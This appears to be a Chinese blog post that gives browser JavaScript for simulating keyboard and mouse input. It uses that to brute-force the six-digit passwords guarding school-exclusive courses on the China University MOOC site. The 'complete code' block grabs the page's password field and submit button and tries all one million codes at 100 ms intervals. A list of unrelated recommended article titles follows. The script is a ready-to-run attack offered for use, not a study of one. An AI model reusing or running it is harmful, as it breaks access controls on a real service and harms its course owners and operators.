//只在chrome测试过,大部分应用场景在webkit,所以不做其他兼容// 模拟键盘输入
window.inputValue = function (dom, st) {var evt = new InputEvent('input', {inputType: 'insertText',data: st,dataTransfer: null,isComposing: false});dom.value = st;dom.dispatchEvent(evt);
}// 模拟鼠标点击
window.mClick = function (dom) {var event = new MouseEvent('click', {view: window,bubbles: true,cancelable: true});dom.dispatchEvent(event)
}

完整代码

// 中国大学MOOC学校专有课程密码破解start = 0;
end = Math.pow(10,6);
size = 6;p = document.getElementsByClassName("ux-input_base")[0];
j = document.getElementsByClassName("ux-btn")[1];window.inputValue = function (dom, st) {var evt = new InputEvent('input', {inputType: 'insertText',data: st,dataTransfer: null,isComposing: false});dom.value = st;dom.dispatchEvent(evt);
}window.mClick = function (dom) {var event = new MouseEvent('click', {view: window,bubbles: true,cancelable: true});dom.dispatchEvent(event)
}// for(i=start;i<end;i++){//      num = (Array(size+1).join("0") + i).slice(-size)
//      console.log("当前任务:",num)
//      inputValue( p,num )
//      j.dispatchEvent(event)
// }i=start;
iVal = setInterval(()=>{console.log("当前任务:",num)num = (Array(size+1).join("0") + i).slice(-size);inputValue( p,num )mClick(j)i++;if(i==end){clearInterval( iVal )}
},100)// clearInterval(iVal)

使用JS模拟键盘、鼠标操作相关推荐

  1. 程序模拟键盘鼠标操作

    用代码模拟键盘鼠标操作,主要用到keybd_event/mouse_event或者SendInput  API函数.使用示例如下(附注释):         /*         * 模拟键盘输入,以 ...

  2. Python 模拟键盘鼠标操作实战教程

    在某些情况下,如果我们需要进行自动化操作的应用没有提供相应的接口,我们无法直接通过Python来调用API实现自动化.这种情况下,Python也不是完全没有办法的,我们可以采用模拟键盘和鼠标的方式实现 ...

  3. java 模拟鼠标_java实现简单的模拟键盘鼠标操作

    简简单单的记录: 近期需要用到模拟键盘鼠标操作,所以记录下来,以备后用,看了很多例子,未标明引用,请见谅 package com.text.jna; import javax.imageio.Imag ...

  4. Cypress之模拟键盘鼠标操作以及页面元素拖动操作

    上篇文章讲解了使用cypress框架时,如何上传或者下载文件,以及定位操作iframe和shadow dom下的页面元素.此次课程将讲解如何模拟键盘输入.鼠标操作以及如何拖动页面元素,另外,会介绍如何 ...

  5. python在程序中模拟键盘鼠标操作

    Python中模拟键盘和鼠标最著名的模块是:pymouse 和 pykeyboard.一次安装两个模块比较麻烦,而有一个库整合了这两个模块,而且能支持跨平台操作,这个库叫 PyUserInput,通过 ...

  6. python模拟键盘鼠标操作

    python版本:3.6.2 扩展: autopy3 (python2.x的话 安装autopy 就可以了) //autopy是一个自动化操作的python库,可以模拟一些鼠标.键盘事件,还能对屏幕进 ...

  7. C# 使用Win32 API模拟键盘鼠标操作网页

    在webbrowser控件中的document complete 事件中设置链接到自身 private void ieFrame_DocumentCompleted(object sender, We ...

  8. java整理软件---java模拟键盘,鼠标操作

    1.Java 模拟键盘输入的小Demo,实现自动按下:模拟Ctrl+Alt+Z的按下和抬起    如果你开着qq的话,那么qq会自动弹出来.哈哈,代替人工操作; import java.awt.Rob ...

  9. C/C++ Windows平台 模拟键盘 / 鼠标操作

    原理:调用Windows API 头文件: Windows.h 鼠标 参考:MSDN :mouse_event function 按键 使用定义在Winuser.h中的mouse_event函数(Wi ...

  10. [转载]C#模拟键盘鼠标事件-SendKeys

    C#模拟键盘鼠标事件-SendKeys 2007-09-18 15:138596人阅读评论(1)收藏举报 1.模拟键盘事件 System.Windows.Forms.SendKeys以下是   Sen ...

最新文章

  1. hibernate、struts、spring mvc的作用
  2. 物流项目宣传活动任务前台分页展示
  3. QS首发大学百强排名,华东五校表现惊艳,老牌985望尘莫及
  4. C#数据结构-稀疏矩阵
  5. jquery.roundabout.js图片叠加3D旋转
  6. Java Web中相对路径与绝对路径的分析
  7. winform 往第三方传值 put
  8. 网络安全课第二节 XSS漏洞检测防御
  9. qq撤回的消息会在服务器,如何查看qq撤回的消息_查看qq被撤回消息的方法
  10. wifi信号衰减与距离关系_wifi无线信号传输衰减距离计算公式
  11. 需求分析及技术方案设计
  12. win7计算机相机,笔记本win7怎么拍照_win7电脑照相机如何打开
  13. ArcGIS使用模型构建器批量剪裁影像
  14. UINO优锘:数据中心可视化管理面向运营的IT运维配置管理
  15. 如何提高亚马逊排名?亚马逊排名规则有哪些?
  16. 百度地图API支持HTTPS
  17. 泡利不相容原理适用的空间范围(系统)是多大?
  18. 一个40岁老程序员的学习之路,在别人为“中年危机”而忧愁时,你可以淡然处之
  19. horizon多网卡配置
  20. java jar导入eclipse_eclipse导入jar包的方法 (JDBC)

热门文章

  1. 人是Web3最终进化
  2. 【每日随笔】毕业论文答辩 ② ( 问答环节注意点 | 答辩陈述以及问题回答流程 )
  3. 微分方程的特征值解法:斯图姆-刘维尔方程
  4. PageHelper这种情况下有坑
  5. JavaExp10:多线程设计,彩票购票问题
  6. 运维生涯中总有一次痛彻心扉的rm命令
  7. js 根据id 取出数组中对应的对象
  8. 修改host访问远景论坛
  9. D3D游戏编程系列(二):自己动手编写即时战略游戏之地图编辑器的制作
  10. (每日一练c++)解数独